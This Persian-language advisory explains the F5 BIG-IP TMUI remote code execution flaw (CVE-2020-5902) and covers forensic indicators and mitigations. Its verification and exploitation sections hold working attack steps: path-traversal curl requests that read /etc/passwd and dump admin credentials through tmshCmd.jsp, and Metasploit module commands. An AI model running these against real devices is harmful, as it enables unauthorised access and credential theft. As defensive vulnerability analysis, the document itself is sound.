آسیب پذیری‌ها

شرح فنی آسیب‌پذیری اجرای کد از راه دور در محصولات F5 Big-IP
۳۱ تیر ۱۳۹۹
تعداد بازدید: 0

شرح فنی آسیب‌پذیری اجرای کد از راه دور در محصولات F5 Big-IP


CVE-2020-5902
آسیب‌پذیری اجرای کد از راه دور در محصولات F5 BIG-IP

اواسط تیرماه در خصوص آسیب‌پذیری بحرانی اجرای کد از راه دور در برخی از محصولات F5 Big-IP در بخش اخبار آسیب‌پذیری برنامه‌های متداول اطلاع رسانی کردیم. در این مطلب و در بخش آسیب‌پذیری داشبورد امنیتی آرمان داده پویان قصد داریم تا در خصوص جزئیات فنی این آسیب‌پذیری صحبت کنیم.

این آسیب‌پذیری که با کد K52145254 و شناسه مرجع CVE-2020-5902 به ثبت رسیده است در رابط کاربری مدیریت ترافیک (TMUI) دستگاه F5 Big-IP وجود دارد. بلافاصله پس از انتشار این آسیب‌پذیری، در ۱۴ تیرماه  کد PoC آن در معرض عموم قرار گرفت و تنها یک روز پس از آن، ماژول مورد نظر به نرم‌افزار متاسپلویت نیز اضافه شد و به سرعت مورد توجه عموم قرار گرفت. تیم قرمز و تیم پاسخگویی به حوادث سایبری BlackBerry به بررسی این موضوع پرداخته‌اند.

از آنجایی که بیشتر کدهای PoC عمومی در محیط آزمایشگاهی BlackBerry قابل اجرا نمی‌باشند مشاورین امنیت BlackBerry توانستند با موفقیت، شرایط اجرای کد از راه دور را با استفاده از ابزار Netcat و دستورات خط فرمان curl که یکی از آن‌ها دو مرتبه کدگذاری شده بود، پیاده‌سازی کنند. BlackBerry بنا به دلایل امنیتی از انتشار عمومی این روش خودداری نموده و از آن تنها برای دستیابی به شواهد فارنزیکی بیشتر استفاده کرده است.

به طور خلاصه این آسیب‌پذیری تمام نسخه‌های ۱۱٫x و ۱۵٫x دستگاه‌های F5 Big-IP شامل LTM، AAM، AFM، Analytics، APM، ASM، DNS، FPS، GTM، Link Controller و PEM را تحت تأثیر قرار داده است. این محصولات هم به صورت مجازی و هم فیزیکی در دسترس هستند و از آن‌ها به عنوان دروازه برنامه‌های کاربردی، کنترل‌کننده‌های تحویل محتوا و سیستم‌های مدیریت دسترسی که معمولاً در پیشانی برنامه‌های کاربردی قرار گرفته و به عنوان بافر بین سرویس‌دهنده‌ها و اینترنت عمل می‌کنند استفاده می‌شود. آسیب‌پذیری مورد اشاره امتیاز ۱۰ از ۱۰ را در استاندارد CVSS به خود اختصاص داده است و به مهاجمی که به رابط مدیریتی تحت وب دستگاه دسترسی دارد اجازه دسترسی به اطلاعات سطح مدیریتی، پیمایش فهرست و یا حتی دسترسی به دستگاه از طریق رابط خط فرمان را خواهد داد. لذا سازمان‌ها می‌بایست بلافاصله نسبت به وصله نمودن آسیب‌پذیری و اعمال راهکارهای کاهش اثرات آن اقدام نمایند. در غیر این صورت مهاجمین قادر به دسترسی به اطلاعات کاربری و اختیارات مدیریتی F5 BIG-IP خواهند بود و امکان دارد از آن به عنوان وسیله‌ای برای اجرای دستورات مخرب خود در شبکه استفاده نمایند.

محیط آزمایش

محیط آزمایشگاهی BlackBerry برای تست شرایط حمله و دفاع، شامل یک ماشین مجازی Big-IP نسخه ۱۵٫۱٫۰٫۲ Build 0.09، یک هسته لینوکس نسخه ۳٫۱۰٫۰-۸۶۲٫۱۴٫۴٫el7.ve.x86_64 و یک لینوکس ردهت نسخه ۷٫۵ می‌باشد. به صورت پیش‌فرض ویژگی SE Linux و Audit Logging در این محیط فعال بود.

تأیید آسیب‌پذیری در محصولات F5 BIG-IP

این آسیب‌پذیری در رابط کاربری مدیریت ترافیک (TMUI) دستگاه F5 Big-IP که از آن به عنوان نرم‌افزار پیکربندی نیز یاد می‌شود وجود دارد.

مرورگر وب

این آسیب‌پذیری را می‌توان از طریق یک مرورگر وب و درج آدرس زیر در آن به سادگی تأیید کرد. (گزینه‌های و بسته به محیط آزمایش تکمیل می‌گردند.)

https://:/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

ابزار خط فرمان Curl

استفاده از مرورگر وب برای تشخیص آسیب‌پذیری روش مناسبی است اما اگر نیاز به پویش تمام تجهیزات در شبکه باشد استفاده از این دستور curl پیشنهاد می‌گردد:

curl -v -k ‘https://:/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd’

بهره‌برداری از آسیب‌پذیری موجود در محصولات F5 BIG-IP

متأسفانه ریسک این موضوع بیش از تهیه رونوشت از محتوای یک فایل است. حتی ممکن است اطلاعات کاربری و هویتی دستگاه از طریق عملکرد ذاتی آن نیز فاش گردد. در اینجا یک گذرواژه رمزگذاری شده بدست آمد.

tmshCmd.jsp?command=list+auth+user+admin

مثال:

curl -v -k ‘https://:/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin’

هرچه این اکسپلویت محبوب‌تر می‌شود شانس موثر بودن آن نیز بالاتر می‌رود. با استفاده از یک لینوکس کالی، مراحل زیر توسط BlackBerry برای آزمایش ماژول اخیر متاسپلویت صورت گرفت:

به‌روزرسانی نسخه فریمورک متاسپلویت

apt update; apt install metasploit-framework

دریافت ماژول روبی CVE-2020-5902

wget -P /usr/share/metasploit-framework/modules/exploits/linux/http/ https://raw.githubusercontent.com/rapid7/metasploit-framework/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb

بارگیری مجدد ماژول‌ها در فریمورک متاسپلویت

reload_all

استفاده از ماژول cmd/unix/generic

use linux/http/f5_bigip_tmui_rce

set RHOST

set VHOST

set RPORT

set payload cmd/unix/generic

set CMD whoami

exploit

پس از تست میزبان F5 Big-IP، ماژول متاسپلویت فایل مورد نظر را با دستور صحیحی ایجاد کرده اما ردپای خود را حذف نکرده است. بنابراین نیاز به خطایابی بیشتری برای یافتن علت این موضوع بود. در این مرحله مشاوران BlackBerry ماژول متاسپلویت را رها کرده و سراغ ایجاد پوسته معکوس با استفاده از دستورات خط فرمان رفتند.

اقدامات فارنزیکی و نشانه‌های آلودگی

در خلال ارزیابی CVE 2020-5902، تیم مقابله با حوادث سایبری BlackBerry متوجه استثنائاتی در رابطه با اکسپلویت مورد نظر شدند. این استثناها در مسیر /var/log/tomcat/catalina.out قرار داشتند که با دستور زیر قابل مشاهده است:

grep -i tmui /var/log/tomcat/catalina.out

در چنین مواردی هرچند ممکن است که لاگ‌ها حاکی از بروز خطا باشند اما اکسپلویت همچنان فعال است و فعالیت آن از طریق گزارش خطاهای آپاچی با دستور زیر قابل مشاهده است:

journalctl –f

ماشین مجازی F5 Big-IP در سرویس‌دهنده وب خود چندین فایل پیکربندی دارد که مبتنی بر وب‌سرور آپاچی هستند و از یک قالب سفارشی‌سازی شده‌ برای ارسال لاگ‌ها به سرور Syslog استفاده می‌کند. بدلیل اینکه لاگ‌ها از آدرس /usr/bin/logger به سرور Syslog ارسال می‌شوند در آپاچی یا httpd نمایش داده نمی‌شوند. بنابراین برای جستجوی لاگ‌ها به جای استفاده از دستورات رایج (less, grep, cat, …) از دستور journalctl استفاده می‌شود.

آنالیز اولیه پیکربندی نشان می‌دهد که چندین فایل پیکربندی وجود دارد: httpd.conf، httpd.conf.sam، ssl.conf و … . به نظر می‌رسد که فایل httpd.conf.sam به جای بارگیری پیکربندی، به عنوان مرجع و یک آرگومان خط فرمان بکار گرفته می‌شود. در اینجا هر فایل، یک ارجاع متفاوت به لاگ‌های تولیدشده است. معمولاً لاگ‌های مفید و آن‌هایی که از نوع Verbose بودند در log_acc قرار داشتند. اما بر اساس لیست، لاگ‌های ذخیره شده در فایل ssl.conf اصلی‌ترین لاگ‌هایی بودند که توسط وب‌سرور آپاچی مورد استفاده قرار می‌گرفتند. این لاگ‌ها از طریق دستور journalctl | egrep “ssl_req|ssl_acc”  قابل جستجو هستند. لاگ‌های مربوط به رابط کاربری مدیریت ترافیک (TMUI) با چنین الگویی قابل مشاهده هستند:  journalctl | grep “..;” .

این لاگ‌ها شامل رشته‌های کوئری یا عامل کاربر که ارزش فارنزیکی آن‌ها را کمتر می‌کند نیستند و وضعیت سرور را نیز نمایش نمی‌دهند. به علاوه، این اهمیت دارد که لاگ‌ها در یک سرور خارجی ذخیره گردند چراکه لاگ‌های جدید جایگزین قدیمی‌ها شده و امکان از دست رفتن آن‌ها بسیار زیاد است.

نتیجه‌گیری و توصیه‌های لازم

چک‌لیست زیر برای کاهش اثرات آسیب‌پذیری می‌تواند مفید باشد:

  • اعمال راهکارهای کاهش آسیب‌پذیری F5
  • بررسی نشانه‌های آلودگی
  • تغییر گذرواژه‌ها (و گذرواژه‌های اشتراکی)
  • اطلاع‌رسانی به تیم پاسخگویی به حوادث سایبری
  • ذخیره لاگ‌ها در یک سرور خارجی (Syslog)
  • افزایش حساسیت لاگ‌برداری
  • امن‌سازی دستگاه از طریق غیر فعال کردن عملکردهای بلااستفاده

در صورت نیاز به سرویس خاصی (از جمله TMUI) هرگز آن را بر روی بستر مستقیم اینترنت قرار ندهید و به جای آن از شبکه‌های خصوصی مجازی (VPN) استفاده کنید.

اگر از محصولات F5 BIG-IP در شبکه خود استفاده می‌نمایید

هر سازمانی که از محصولات F5 Big-IP استفاده می‌کند برای جلوگیری از حملات Drive-by می‌بایست در اسرع وقت نسبت به پیاده‌سازی راهکارهای کاهش آسیب‌پذیری اقدام نماید و پس از آن به دنبال نشانه‌های آلودگی بگردد. بدلیل کمتر آشکار بودن این حملات، BlackBerry توصیه می‌کند که حدالامکان گذرواژه‌ها تعویض گردند و در صورت وقوع هر اتفاقی، تیم مقابله با حوادث سایبری در جریان رخداد قرار گیرد چراکه احتمال بروز اشتباه بسیار زیاد است.

سایر تمهیدات اضافی از قبیل فعال‌سازی هشدارها و ارسال لاگ‌ها به یک سرور خارجی نیز تأثیر به سزایی دارند. این کار از طریق رابط پیکربندی تحت وب دستگاه نیز قابل انجام است. پس از فعال‌سازی این ویژگی، هشدارهای لازم برای مشاهده رفتارهای مشکوک را فعال کرده به صورت دوره‌ای لاگ‌ها را بازبینی نمایید.

علاوه بر ارسال لاگ‌ها به یک سرور خارجی و رصد آن‌ها، می‌توان از طریق نظارت بر کاربر httpd، فعالیت‌های مشکوک دستگاه را ردگیری کرد. افزایش حساسیت لاگ برداری نیز می‌تواند هشدارهای لازم را در هنگام سوءاستفاده احتمالی مهاجمین در اختیار ما قرار بدهد.

به منظور تست دستگاه ابتدا دستورات زیر را به فایل /etc/audit/rules.d/audit.rules اضافه کنید.

سپس با اجرای دستور service auditd restart تغییرات مورد نظر اعمال خواهند شد. می‌توان از دستور auditctl -R /etc/audit/rules.d/audit.rules نیز برای اعمال تغییرات استفاده کرد. این لاگ‌ها نشان می‌دهند که مهاجم یک پوسته (Shell) را با دسترسی کاربر root اجرا کرده است. مواردی که گفته شد تحرکات بیشتری از مهاجم را در اختیار ما قرار خواهد داد اما هنوز امکان رصد کامل تمام فعالیت‌های مهاجم وجود ندارد.

آرمان داده پویان ارائه‌دهنده محصولات F5 BIG-IP

با ما تماس بگیرید


تازه ترین ها